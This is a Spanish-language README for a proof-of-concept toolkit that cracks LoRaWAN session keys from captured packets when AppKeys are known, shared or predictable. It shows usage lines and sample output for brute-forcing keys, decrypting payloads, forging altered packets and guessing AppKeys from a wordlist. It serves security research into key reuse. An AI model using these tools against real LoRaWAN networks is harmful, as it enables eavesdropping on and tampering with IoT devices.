
LoRaWAN session cracker - Un PoC para explotar claves de aplicación débiles o compartidas
Creado por Sipke Mellema de Applied Risk
Esto es una Prueba de Concepto para demostrar los peligros de usar la misma AppKey en múltiples nodos LoRaWAN.
Este repositorio contiene un conjunto de herramientas para crackear claves de sesión LoRaWAN a partir de paquetes capturados. El escenario de ataque asume que conoces la AppKey pero te perdiste el handshake. O la AppKey no es aleatoria y puede adivinarse.
Los handshakes LoRa usan tres valores para generar las claves de sesión:
AppNonce | NetID | DevNonce
AppNonce y NetID son de 3 bytes, y DevNonce es de 2 bytes. Parte del NetID es conocido, por lo que quedan 57 bits de entropía. Y debido a fallos de implementación esto puede ser mucho menor.
Solo haz make. Ten en cuenta que puede que tengas que enlazar a una ubicación de openssl 1.0.* en el Makefile.
./loracrack -k <AppKey en hex> -p <paquete_crudo en hex>
Crackea claves de sesión si el handshake (join-accept) se pierde pero la AppKey es conocida. El crackeo se realiza generando claves de sesión y comprobando el MIC.
$ ./loracrack -k 88888888888888888888888888888888 -p 400267bd018005000142d9f48c52ea717c57
4899be88e40088c40abc703fa3ba1195 04068f88b9feee5385c67e033d911b4a
Argumentos opcionales:
-t hilos
-v verbose (0, 1 o 2)
-m AppNonce máximo
./loracrack_knownpt -k <AppKey en hex> -p <paquete_crudo en hex> -d <texto_plano en hex>
Crackea claves de sesión si el handshake (join-accept) se pierde pero la AppKey y el texto plano son conocidos. El crackeo se realiza descifrando el FRMPayload y comprobando el texto plano. Es más rápido que comprobar el MIC, ya que el CMAC usa más operaciones AES.
$ ./loracrack_knownpt -k 88888888888888888888888888888888 -p 400267bd018005000142d9f48c52ea717c57 -d 33302e3332
4899be88e40088c40abc703fa3ba1195 04068f88b9feee5385c67e033d911b4a
Argumentos opcionales:
-t hilos
-v verbose (0, 1 o 2)
-m AppNonce máximo
./loracrack_decrypt -k <clave de descifrado en hex> -p <paquete_crudo en hex>
Descifra los datos del paquete si la clave de sesión es conocida.
$ ./loracrack_decrypt -k 4899be88e40088c40abc703fa3ba1195 -p 400267bd018005000142d9f48c52ea717c57
30.32
./loracrack_alterpacket -p <paquete_crudo en hex> -a <AppSKey en hex> -n <NwkSKey en hex> -c <Fctn> -d <nuevos datos en hex>
Altera el paquete con nuevos datos, conservando cosas antiguas como DeviceAddr.
$ ./loracrack_alterpacket -p 400267bd018005000142d9f48c52ea717c57 -a 4899be88e40088c40abc703fa3ba1195 -n 04068f88b9feee5385c67e033d911b4a -c 5 -d 33302d3332
400267bd018005000142d9f78c521c78573b
./loracrack_genkeys -k <AppKey en hex> -j <paquete_join en hex> -a <paquete_accept en hex>
Genera claves de sesión dado el handshake (paquetes join y accept) y la AppKey.
$ ./loracrack_genkeys -k 88888888888888888888888888888888 -j 0000000000000000002bd61f000ba304000e1ba147157a -a 20adf6e18980952590fc1f7987a6913f35
4e1dcaf4f02fcd2ecbb1cb0d138fc53d 96eb9e13f0a3468ca580707ee688ee19
./loracrack_guessjoin -p <paquete_crudo en hex> -f <archivo con AppKeys en hex>
Comprueba si se usan AppKeys predecibles comprobando el MIC en un paquete join. Las AppKeys se toman de un archivo con AppKeys codificadas en hex en líneas nuevas.
$ ./loracrack_guessjoin -p 0000000000000000002bd61f000ba304002f3b5785cf80 -f guessjoin_genkeys/simplekeys
88888888888888888888888888888888